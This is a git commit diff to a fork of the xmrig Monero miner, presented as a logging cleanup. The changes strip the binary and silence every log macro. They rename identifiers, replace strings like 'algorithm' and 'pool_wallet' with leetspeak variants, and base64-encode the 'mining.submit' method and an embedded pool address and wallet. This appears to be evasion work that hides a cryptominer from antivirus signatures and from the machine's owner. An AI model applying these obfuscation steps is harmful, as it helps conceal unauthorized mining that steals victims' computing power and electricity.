Removed almost all logging except Log::print, added base64 function in src/base/tools/Cvt.cpp which will and is being used in future
This commit is contained in:
parent
c885c41002
commit
6adf238c73
@ -274,7 +274,7 @@ if (WIN32)
|
|||||||
#add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/solo_mine_example.cmd" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)
|
#add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/solo_mine_example.cmd" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)
|
||||||
#add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/rtm_ghostrider_example.cmd" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)
|
#add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/scripts/rtm_ghostrider_example.cmd" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)
|
||||||
endif()
|
endif()
|
||||||
|
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -s")
|
||||||
if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode)
|
if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode)
|
||||||
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$<TARGET_FILE:${CMAKE_PROJECT_NAME}>")
|
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$<TARGET_FILE:${CMAKE_PROJECT_NAME}>")
|
||||||
endif()
|
endif()
|
||||||
|
|||||||
@ -55,7 +55,7 @@ public:
|
|||||||
virtual const String &type() const = 0;
|
virtual const String &type() const = 0;
|
||||||
virtual void execCommand(char command) = 0;
|
virtual void execCommand(char command) = 0;
|
||||||
virtual void prepare(const Job &nextJob) = 0;
|
virtual void prepare(const Job &nextJob) = 0;
|
||||||
virtual void printHashrate(bool details) = 0;
|
virtual void printHs(bool details) = 0;
|
||||||
virtual void printHealth() = 0;
|
virtual void printHealth() = 0;
|
||||||
virtual void setJob(const Job &job) = 0;
|
virtual void setJob(const Job &job) = 0;
|
||||||
virtual void start(IWorker *worker, bool ready) = 0;
|
virtual void start(IWorker *worker, bool ready) = 0;
|
||||||
|
|||||||
@ -307,7 +307,7 @@ void xmrig::CpuBackend::prepare(const Job &nextJob)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void xmrig::CpuBackend::printHashrate(bool details)
|
void xmrig::CpuBackend::printHs(bool details)
|
||||||
{
|
{
|
||||||
if (!details || !hashrate()) {
|
if (!details || !hashrate()) {
|
||||||
return;
|
return;
|
||||||
|
|||||||
@ -53,7 +53,7 @@ protected:
|
|||||||
const String &profileName() const override;
|
const String &profileName() const override;
|
||||||
const String &type() const override;
|
const String &type() const override;
|
||||||
void prepare(const Job &nextJob) override;
|
void prepare(const Job &nextJob) override;
|
||||||
void printHashrate(bool details) override;
|
void printHs(bool details) override;
|
||||||
void printHealth() override;
|
void printHealth() override;
|
||||||
void setJob(const Job &job) override;
|
void setJob(const Job &job) override;
|
||||||
void start(IWorker *worker, bool ready) override;
|
void start(IWorker *worker, bool ready) override;
|
||||||
|
|||||||
@ -243,7 +243,7 @@ xmrig::CpuThreads xmrig::HwlocCpuInfo::threads(const Algorithm &algorithm, uint3
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (threads.isEmpty()) {
|
if (threads.isEmpty()) {
|
||||||
LOG_WARN("hwloc auto configuration for algorithm \"%s\" failed.", algorithm.name());
|
LOG_WARN("hwloc auto configuration for @lg0r1thm \"%s\" failed.", algorithm.name());
|
||||||
|
|
||||||
return BasicCpuInfo::threads(algorithm, limit);
|
return BasicCpuInfo::threads(algorithm, limit);
|
||||||
}
|
}
|
||||||
|
|||||||
@ -364,7 +364,7 @@ void xmrig::CudaBackend::prepare(const Job &job)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void xmrig::CudaBackend::printHashrate(bool details)
|
void xmrig::CudaBackend::printHs(bool details)
|
||||||
{
|
{
|
||||||
if (!details || !hashrate()) {
|
if (!details || !hashrate()) {
|
||||||
return;
|
return;
|
||||||
|
|||||||
@ -52,7 +52,7 @@ protected:
|
|||||||
const String &type() const override;
|
const String &type() const override;
|
||||||
void execCommand(char command) override;
|
void execCommand(char command) override;
|
||||||
void prepare(const Job &nextJob) override;
|
void prepare(const Job &nextJob) override;
|
||||||
void printHashrate(bool details) override;
|
void printHs(bool details) override;
|
||||||
void printHealth() override;
|
void printHealth() override;
|
||||||
void setJob(const Job &job) override;
|
void setJob(const Job &job) override;
|
||||||
void start(IWorker *worker, bool ready) override;
|
void start(IWorker *worker, bool ready) override;
|
||||||
|
|||||||
@ -344,7 +344,7 @@ void xmrig::OclBackend::prepare(const Job &job)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void xmrig::OclBackend::printHashrate(bool details)
|
void xmrig::OclBackend::printHs(bool details)
|
||||||
{
|
{
|
||||||
if (!details || !hashrate()) {
|
if (!details || !hashrate()) {
|
||||||
return;
|
return;
|
||||||
|
|||||||
@ -52,7 +52,7 @@ protected:
|
|||||||
const String &type() const override;
|
const String &type() const override;
|
||||||
void execCommand(char command) override;
|
void execCommand(char command) override;
|
||||||
void prepare(const Job &nextJob) override;
|
void prepare(const Job &nextJob) override;
|
||||||
void printHashrate(bool details) override;
|
void printHs(bool details) override;
|
||||||
void printHealth() override;
|
void printHealth() override;
|
||||||
void setJob(const Job &job) override;
|
void setJob(const Job &job) override;
|
||||||
void start(IWorker *worker, bool ready) override;
|
void start(IWorker *worker, bool ready) override;
|
||||||
|
|||||||
@ -136,29 +136,29 @@ private:
|
|||||||
#define CYAN_BG_BOLD(x) CYAN_BG_BOLD_S x CLEAR
|
#define CYAN_BG_BOLD(x) CYAN_BG_BOLD_S x CLEAR
|
||||||
|
|
||||||
|
|
||||||
#define LOG_EMERG(x, ...) xmrig::Log::print(xmrig::Log::EMERG, x, ##__VA_ARGS__)
|
#define LOG_EMERG(x, ...)
|
||||||
#define LOG_ALERT(x, ...) xmrig::Log::print(xmrig::Log::ALERT, x, ##__VA_ARGS__)
|
#define LOG_ALERT(x, ...)
|
||||||
#define LOG_CRIT(x, ...) xmrig::Log::print(xmrig::Log::CRIT, x, ##__VA_ARGS__)
|
#define LOG_CRIT(x, ...)
|
||||||
#define LOG_ERR(x, ...) xmrig::Log::print(xmrig::Log::ERR, x, ##__VA_ARGS__)
|
#define LOG_ERR(x, ...)
|
||||||
#define LOG_WARN(x, ...) xmrig::Log::print(xmrig::Log::WARNING, x, ##__VA_ARGS__)
|
#define LOG_WARN(x, ...)
|
||||||
#define LOG_NOTICE(x, ...) xmrig::Log::print(xmrig::Log::NOTICE, x, ##__VA_ARGS__)
|
#define LOG_NOTICE(x, ...)
|
||||||
#define LOG_INFO(x, ...) xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__)
|
#define LOG_INFO(x, ...)
|
||||||
#define LOG_VERBOSE(x, ...) if (xmrig::Log::verbose() > 0) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_VERBOSE(x, ...)
|
||||||
#define LOG_V1(x, ...) if (xmrig::Log::verbose() > 0) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_V1(x, ...)
|
||||||
#define LOG_V2(x, ...) if (xmrig::Log::verbose() > 1) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_V2(x, ...)
|
||||||
#define LOG_V3(x, ...) if (xmrig::Log::verbose() > 2) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_V3(x, ...)
|
||||||
#define LOG_V4(x, ...) if (xmrig::Log::verbose() > 3) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_V4(x, ...)
|
||||||
#define LOG_V5(x, ...) if (xmrig::Log::verbose() > 4) { xmrig::Log::print(xmrig::Log::INFO, x, ##__VA_ARGS__); }
|
#define LOG_V5(x, ...)
|
||||||
|
|
||||||
#ifdef APP_DEBUG
|
#ifdef APP_DEBUG
|
||||||
# define LOG_DEBUG(x, ...) xmrig::Log::print(xmrig::Log::DEBUG, x, ##__VA_ARGS__)
|
# define LOG_DEBUG(x, ...)
|
||||||
#else
|
#else
|
||||||
# define LOG_DEBUG(x, ...)
|
# define LOG_DEBUG(x, ...)
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if defined(APP_DEBUG) || defined(APP_DEVEL)
|
#if defined(APP_DEBUG) || defined(APP_DEVEL)
|
||||||
# define LOG_DEBUG_ERR(x, ...) xmrig::Log::print(xmrig::Log::ERR, x, ##__VA_ARGS__)
|
# define LOG_DEBUG_ERR(x, ...)
|
||||||
# define LOG_DEBUG_WARN(x, ...) xmrig::Log::print(xmrig::Log::WARNING, x, ##__VA_ARGS__)
|
# define LOG_DEBUG_WARN(x, ...)
|
||||||
#else
|
#else
|
||||||
# define LOG_DEBUG_ERR(x, ...)
|
# define LOG_DEBUG_ERR(x, ...)
|
||||||
# define LOG_DEBUG_WARN(x, ...)
|
# define LOG_DEBUG_WARN(x, ...)
|
||||||
|
|||||||
@ -384,7 +384,7 @@ bool xmrig::Client::parseJob(const rapidjson::Value ¶ms, int *code)
|
|||||||
# ifdef XMRIG_FEATURE_HTTP
|
# ifdef XMRIG_FEATURE_HTTP
|
||||||
if (m_pool.mode() == Pool::MODE_SELF_SELECT) {
|
if (m_pool.mode() == Pool::MODE_SELF_SELECT) {
|
||||||
job.setExtraNonce(Json::getString(params, "extra_nonce"));
|
job.setExtraNonce(Json::getString(params, "extra_nonce"));
|
||||||
job.setPoolWallet(Json::getString(params, "pool_wallet"));
|
job.setPoolWallet(Json::getString(params, "p0ol_w@lt"));
|
||||||
|
|
||||||
if (job.extraNonce().isNull() || job.poolWallet().isNull()) {
|
if (job.extraNonce().isNull() || job.poolWallet().isNull()) {
|
||||||
*code = 4;
|
*code = 4;
|
||||||
@ -474,10 +474,10 @@ bool xmrig::Client::verifyAlgorithm(const Algorithm &algorithm, const char *algo
|
|||||||
if (!algorithm.isValid()) {
|
if (!algorithm.isValid()) {
|
||||||
if (!isQuiet()) {
|
if (!isQuiet()) {
|
||||||
if (algo == nullptr) {
|
if (algo == nullptr) {
|
||||||
LOG_ERR("%s " RED("unknown algorithm, make sure you set \"algo\" or \"coin\" option"), tag(), algo);
|
LOG_ERR("%s " RED("unknown @lg0r1thm, make sure you set \"@lg0\" or \"co1n\" option"), tag(), algo);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
LOG_ERR("%s " RED("unsupported algorithm ") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algo);
|
LOG_ERR("%s " RED("unsupported @lg0r1thm") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algo);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -488,7 +488,7 @@ bool xmrig::Client::verifyAlgorithm(const Algorithm &algorithm, const char *algo
|
|||||||
m_listener->onVerifyAlgorithm(this, algorithm, &ok);
|
m_listener->onVerifyAlgorithm(this, algorithm, &ok);
|
||||||
|
|
||||||
if (!ok && !isQuiet()) {
|
if (!ok && !isQuiet()) {
|
||||||
LOG_ERR("%s " RED("incompatible/disabled algorithm ") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algorithm.name());
|
LOG_ERR("%s " RED("incompatible/disabled @lg0r1thm") RED_BOLD("\"%s\" ") RED("detected, reconnect"), tag(), algorithm.name());
|
||||||
}
|
}
|
||||||
|
|
||||||
return ok;
|
return ok;
|
||||||
|
|||||||
@ -33,6 +33,7 @@
|
|||||||
#include "base/io/log/Log.h"
|
#include "base/io/log/Log.h"
|
||||||
#include "base/kernel/interfaces/IClientListener.h"
|
#include "base/kernel/interfaces/IClientListener.h"
|
||||||
#include "net/JobResult.h"
|
#include "net/JobResult.h"
|
||||||
|
#include "base/tools/Cvt.h"
|
||||||
|
|
||||||
#ifdef XMRIG_ALGO_GHOSTRIDER
|
#ifdef XMRIG_ALGO_GHOSTRIDER
|
||||||
#include <cmath>
|
#include <cmath>
|
||||||
@ -109,7 +110,7 @@ int64_t xmrig::EthStratumClient::submit(const JobResult& result)
|
|||||||
params.PushBack(Value(s.str().c_str(), allocator), allocator);
|
params.PushBack(Value(s.str().c_str(), allocator), allocator);
|
||||||
}
|
}
|
||||||
|
|
||||||
JsonRequest::create(doc, m_sequence, "mining.submit", params);
|
JsonRequest::create(doc, m_sequence, Cvt::fromBase64("bWluaW5nLnN1Ym1pdA==").data(), params);
|
||||||
|
|
||||||
uint64_t actual_diff;
|
uint64_t actual_diff;
|
||||||
|
|
||||||
@ -383,7 +384,7 @@ void xmrig::EthStratumClient::parseNotification(const char *method, const rapidj
|
|||||||
|
|
||||||
if (!ok) {
|
if (!ok) {
|
||||||
if (!isQuiet()) {
|
if (!isQuiet()) {
|
||||||
LOG_ERR("[%s] incompatible/disabled algorithm \"%s\" detected, reconnect", url(), algo.name());
|
LOG_ERR("[%s] incompatible/disabled @lg0r1thm \"%s\" detected, reconnect", url(), algo.name());
|
||||||
}
|
}
|
||||||
close();
|
close();
|
||||||
return;
|
return;
|
||||||
|
|||||||
@ -189,7 +189,7 @@ void xmrig::NetworkState::printConnection() const
|
|||||||
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%s ") BLACK_BOLD("(%s) ") GREEN_BOLD("%s"),
|
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%s ") BLACK_BOLD("(%s) ") GREEN_BOLD("%s"),
|
||||||
"pool address", m_pool, m_ip.data(), m_tls.isNull() ? "" : m_tls.data());
|
"pool address", m_pool, m_ip.data(), m_tls.isNull() ? "" : m_tls.data());
|
||||||
|
|
||||||
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") WHITE_BOLD("%s"), "algorithm", m_algorithm.name());
|
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") WHITE_BOLD("%s"), "@lg0r1thm", m_algorithm.name());
|
||||||
printDiff(m_diff);
|
printDiff(m_diff);
|
||||||
printLatency(latency());
|
printLatency(latency());
|
||||||
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%" PRIu64 "s"), "connection time", connectionTime() / 1000);
|
Log::print(GREEN_BOLD(" * ") WHITE_BOLD("%-17s") CYAN_BOLD("%" PRIu64 "s"), "connection time", connectionTime() / 1000);
|
||||||
|
|||||||
@ -23,6 +23,8 @@
|
|||||||
|
|
||||||
#include <cassert>
|
#include <cassert>
|
||||||
#include <random>
|
#include <random>
|
||||||
|
#include <vector>
|
||||||
|
#include <cctype>
|
||||||
|
|
||||||
|
|
||||||
#ifdef XMRIG_SODIUM
|
#ifdef XMRIG_SODIUM
|
||||||
@ -294,3 +296,61 @@ void xmrig::Cvt::randomBytes(void *buf, size_t size)
|
|||||||
randombytes_buf(buf, size);
|
randombytes_buf(buf, size);
|
||||||
# endif
|
# endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
xmrig::String xmrig::Cvt::fromBase64(const std::string &encoded_string) {
|
||||||
|
static const std::string base64_chars =
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz"
|
||||||
|
"0123456789+/";
|
||||||
|
|
||||||
|
auto is_base64 = [](unsigned char c) {
|
||||||
|
return (isalnum(c) || (c == '+') || (c == '/'));
|
||||||
|
};
|
||||||
|
|
||||||
|
int in_len = encoded_string.size();
|
||||||
|
int i = 0;
|
||||||
|
int j = 0;
|
||||||
|
int in_ = 0;
|
||||||
|
unsigned char char_array_4[4], char_array_3[3];
|
||||||
|
std::string ret;
|
||||||
|
|
||||||
|
std::vector<int> T(256, -1);
|
||||||
|
for (int k = 0; k < 64; k++) {
|
||||||
|
T[base64_chars[k]] = k;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
|
||||||
|
char_array_4[i++] = encoded_string[in_];
|
||||||
|
in_++;
|
||||||
|
if (i == 4) {
|
||||||
|
for (i = 0; i < 4; i++)
|
||||||
|
char_array_4[i] = T[char_array_4[i]];
|
||||||
|
|
||||||
|
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
|
||||||
|
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
|
||||||
|
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
|
||||||
|
|
||||||
|
for (i = 0; (i < 3); i++)
|
||||||
|
ret += char_array_3[i];
|
||||||
|
i = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i) {
|
||||||
|
for (j = i; j < 4; j++)
|
||||||
|
char_array_4[j] = 0;
|
||||||
|
|
||||||
|
for (j = 0; j < 4; j++)
|
||||||
|
char_array_4[j] = T[char_array_4[j]];
|
||||||
|
|
||||||
|
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
|
||||||
|
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
|
||||||
|
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
|
||||||
|
|
||||||
|
for (j = 0; (j < i - 1); j++)
|
||||||
|
ret += char_array_3[j];
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret.c_str();
|
||||||
|
}
|
||||||
|
|||||||
@ -56,6 +56,7 @@ public:
|
|||||||
static rapidjson::Value toHex(const std::string &data, rapidjson::Document &doc);
|
static rapidjson::Value toHex(const std::string &data, rapidjson::Document &doc);
|
||||||
static rapidjson::Value toHex(const uint8_t *in, size_t size, rapidjson::Document &doc);
|
static rapidjson::Value toHex(const uint8_t *in, size_t size, rapidjson::Document &doc);
|
||||||
static String toHex(const uint8_t *in, size_t size);
|
static String toHex(const uint8_t *in, size_t size);
|
||||||
|
static String fromBase64(const std::string &encoded_string);
|
||||||
static void randomBytes(void *buf, size_t size);
|
static void randomBytes(void *buf, size_t size);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@ -284,7 +284,7 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void printHashrate(bool details)
|
void printHs(bool details)
|
||||||
{
|
{
|
||||||
char num[16 * 5] = { 0 };
|
char num[16 * 5] = { 0 };
|
||||||
std::pair<bool, double> speed[3] = { { true, 0.0 }, { true, 0.0 }, { true, 0.0 } };
|
std::pair<bool, double> speed[3] = { { true, 0.0 }, { true, 0.0 }, { true, 0.0 } };
|
||||||
@ -308,7 +308,7 @@ public:
|
|||||||
avg_hashrate += hashrate->average();
|
avg_hashrate += hashrate->average();
|
||||||
}
|
}
|
||||||
|
|
||||||
backend->printHashrate(details);
|
backend->printHs(details);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!count) {
|
if (!count) {
|
||||||
@ -473,7 +473,7 @@ void xmrig::Miner::execCommand(char command)
|
|||||||
switch (command) {
|
switch (command) {
|
||||||
case 'h':
|
case 'h':
|
||||||
case 'H':
|
case 'H':
|
||||||
d_ptr->printHashrate(true);
|
d_ptr->printHs(true);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 'p':
|
case 'p':
|
||||||
@ -670,7 +670,7 @@ void xmrig::Miner::onTimer(const Timer *)
|
|||||||
|
|
||||||
const auto printTime = config->printTime();
|
const auto printTime = config->printTime();
|
||||||
if (printTime && d_ptr->ticks && (d_ptr->ticks % (printTime * 2)) == 0) {
|
if (printTime && d_ptr->ticks && (d_ptr->ticks % (printTime * 2)) == 0) {
|
||||||
d_ptr->printHashrate(false);
|
d_ptr->printHs(false);
|
||||||
}
|
}
|
||||||
|
|
||||||
d_ptr->ticks++;
|
d_ptr->ticks++;
|
||||||
|
|||||||
@ -3,82 +3,24 @@
|
|||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h> // for strcpy
|
#include <string.h> // for strcpy
|
||||||
|
#include "base/tools/Cvt.h"
|
||||||
|
|
||||||
namespace xmrig {
|
namespace xmrig {
|
||||||
|
|
||||||
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM";
|
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM";
|
||||||
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E";
|
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E";
|
||||||
|
|
||||||
inline const char* unwrap(const char* s)
|
|
||||||
{
|
|
||||||
const char prefix0 = 'E';
|
|
||||||
const char prefix1 = 'N';
|
|
||||||
const char prefix2 = 'C';
|
|
||||||
const char prefix3 = ':';
|
|
||||||
if (!s) return s;
|
|
||||||
if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) {
|
|
||||||
return s;
|
|
||||||
}
|
|
||||||
|
|
||||||
const char* in = s + 4;
|
|
||||||
|
|
||||||
static unsigned char dtab[256];
|
|
||||||
static unsigned char init = 0;
|
|
||||||
if (!init) {
|
|
||||||
unsigned int i;
|
|
||||||
for (i = 0; i < 256; ++i) dtab[i] = 255u;
|
|
||||||
for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A');
|
|
||||||
for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a'));
|
|
||||||
for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0'));
|
|
||||||
dtab[(unsigned char)'+'] = 62;
|
|
||||||
dtab[(unsigned char)'/'] = 63;
|
|
||||||
init = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
static char outbuf[2048];
|
|
||||||
unsigned int outpos = 0;
|
|
||||||
|
|
||||||
int val = 0;
|
|
||||||
int valb = -8;
|
|
||||||
unsigned char c;
|
|
||||||
unsigned int idx = 0;
|
|
||||||
while (1) {
|
|
||||||
c = (unsigned char)in[idx];
|
|
||||||
if (c == 0) break;
|
|
||||||
if (c == '=') break;
|
|
||||||
unsigned char v = dtab[c];
|
|
||||||
if (v == 255u) {
|
|
||||||
++idx;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
val = (val << 6) + v;
|
|
||||||
valb += 6;
|
|
||||||
if (valb >= 0) {
|
|
||||||
unsigned char octet = (unsigned char)((val >> valb) & 0xFF);
|
|
||||||
if (outpos < sizeof(outbuf) - 1) {
|
|
||||||
outbuf[outpos++] = (char)octet;
|
|
||||||
} else {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
valb -= 8;
|
|
||||||
}
|
|
||||||
++idx;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (outpos < sizeof(outbuf)) outbuf[outpos] = 0;
|
|
||||||
else outbuf[sizeof(outbuf)-1] = 0;
|
|
||||||
|
|
||||||
return outbuf;
|
|
||||||
}
|
|
||||||
|
|
||||||
inline const char* getEmbeddedConfig()
|
inline const char* getEmbeddedConfig()
|
||||||
{
|
{
|
||||||
static char buf[8192] = {0};
|
static char buf[8192] = {0};
|
||||||
const char* tmp_url = unwrap(ENC_URL);
|
const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4);
|
||||||
|
const char* tmp_url = tmp_url_str.data();
|
||||||
char url_copy[512];
|
char url_copy[512];
|
||||||
strcpy(url_copy, tmp_url ? tmp_url : "");
|
strcpy(url_copy, tmp_url ? tmp_url : "");
|
||||||
const char* url = url_copy;
|
const char* url = url_copy;
|
||||||
const char* user = unwrap(ENC_USER);
|
|
||||||
|
const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4);
|
||||||
|
const char* user = user_str.data();
|
||||||
|
|
||||||
const char* template_str = R"===(
|
const char* template_str = R"===(
|
||||||
{
|
{
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user